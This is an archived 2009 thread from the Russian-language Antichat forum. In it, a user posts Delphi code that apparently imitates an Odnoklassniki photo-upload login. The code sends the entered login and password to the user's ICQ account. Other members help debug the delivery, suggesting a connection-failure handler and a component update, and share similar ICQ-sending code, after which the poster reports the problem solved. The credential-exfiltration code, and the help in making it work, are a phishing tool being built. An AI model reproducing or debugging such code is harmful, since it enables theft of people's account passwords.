HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.10.2009, 20:00
BlackSite
Постоянный
Регистрация: 06.02.2009
Сообщений: 385
Провел на форуме:
2920922

Репутация: 230
Отправить сообщение для BlackSite с помощью ICQ
По умолчанию

Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + '  Password: ' + Edit2.Text );
end;
 
Ответить с цитированием

  #2  
Старый 19.10.2009, 20:14
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Цитата:
Сообщение от BlackSite  
Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + '  Password: ' + Edit2.Text );
end;
Возьми создай событие от компонента ICQ с названием OnConnectionFailed, запиши в него какой нибуть ШоуМассаг, если будет вылезать такой шоумассаг значит превышенно кол. подкл.
 
Ответить с цитированием

  #3  
Старый 19.10.2009, 20:29
BlackSite
Постоянный
Регистрация: 06.02.2009
Сообщений: 385
Провел на форуме:
2920922

Репутация: 230
Отправить сообщение для BlackSite с помощью ICQ
По умолчанию

wolmer дай асю свою надо пару вопросов задать
 
Ответить с цитированием

  #4  
Старый 19.10.2009, 20:30
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

2 BlackSite
Смотря какя у тебя версия TICQClient. ICQ часто меняют протокол, и старые версии перестают работать. Скачай себе последнюю версию, помоему 1.35.
 
Ответить с цитированием

  #5  
Старый 19.10.2009, 20:45
Almest
Новичок
Регистрация: 19.10.2009
Сообщений: 2
Провел на форуме:
2674

Репутация: 0
По умолчанию

Ребята помогите пожалуйста,нужна программа для разработка криптографической защиты данных. После запуска на выполнение программа должна по одному из алгоритмов, использующих генератор случайных чисел, зашифровать информацию, содержащуюся в указанном преподавателем файле, после чего записать файл под другим именем. Далее, по указанию пользователя, необходимо расшифровать записанный файл с помощью того же алгоритма.

Очень нужна помощь,спасибо за внимание..
 
Ответить с цитированием

  #6  
Старый 19.10.2009, 20:50
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Цитата:
Сообщение от Almest  
Ребята помогите пожалуйста,нужна программа для разработка криптографической защиты данных. После запуска на выполнение программа должна по одному из алгоритмов, использующих генератор случайных чисел, зашифровать информацию, содержащуюся в указанном преподавателем файле, после чего записать файл под другим именем. Далее, по указанию пользователя, необходимо расшифровать записанный файл с помощью того же алгоритма.

Очень нужна помощь,спасибо за внимание..
Прочитай внимательней назватие раздела: "ЗАДАЙ ВОПРОС". Где твой вопрос? Где то, что ты уже пытался сделать? Или ты думаешь зарегался на форуме и тебе в тот же день готовую программу напишуту? Делать всем болье нечего. Покажи, что ты пробовал и тебя поправят, если что не так. Тут екстасенсов нету. А если у тебя лабораторная то тебе в другой раздел. Ну а если софт нужно нормальный написать то это за деньги.
 
Ответить с цитированием

  #7  
Старый 19.10.2009, 20:48
Seregakz
Познающий
Регистрация: 13.06.2009
Сообщений: 32
Провел на форуме:
42683

Репутация: 2
По умолчанию

Nullsleep, отжигаеш))
AquaKlaster, это СтрингГрид ибо в ячейках когда они заполнены отображается графика =/
в ЛистВиев помоему нельзя в ячейку графику вставлять!!
 
Ответить с цитированием

  #8  
Старый 19.10.2009, 21:12
BlackSite
Постоянный
Регистрация: 06.02.2009
Сообщений: 385
Провел на форуме:
2920922

Репутация: 230
Отправить сообщение для BlackSite с помощью ICQ
По умолчанию

Может потому что я в этой графе вин uin не ввел?
 
Ответить с цитированием

  #9  
Старый 19.10.2009, 21:21
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Цитата:
Сообщение от BlackSite  
Может потому что я в этой графе вин uin не ввел?
Вот кусок из моих сорцов:

Код:
uses icqworks;

procedure TForm1.FormCreate(Sender: TObject);
...
ICQClient1.UIN:=уин;
ICQClient1.Password:='пас';
ICQClient1.Login(0, false);
...


procedure TForm1.BtnSendClick(Sender: TObject);
begin
ICQClient1.SendMessage(StrToInt(Edit1.Text), Memo1.Lines.Text);
end;

procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
  ErrorMsg: String);
begin
MemoError.Lines.Add(ErrorMsg);
end;
Но есть одно "НО". Много раз логиниться с одного уина нельзя, его блочат на 10-20 мин.

Последний раз редактировалось =Zeus=; 19.10.2009 в 21:30..
 
Ответить с цитированием

  #10  
Старый 19.10.2009, 21:37
BlackSite
Постоянный
Регистрация: 06.02.2009
Сообщений: 385
Провел на форуме:
2920922

Репутация: 230
Отправить сообщение для BlackSite с помощью ICQ
По умолчанию

Все проблему решил всем спасибо
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2568 25.04.2026 12:58
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ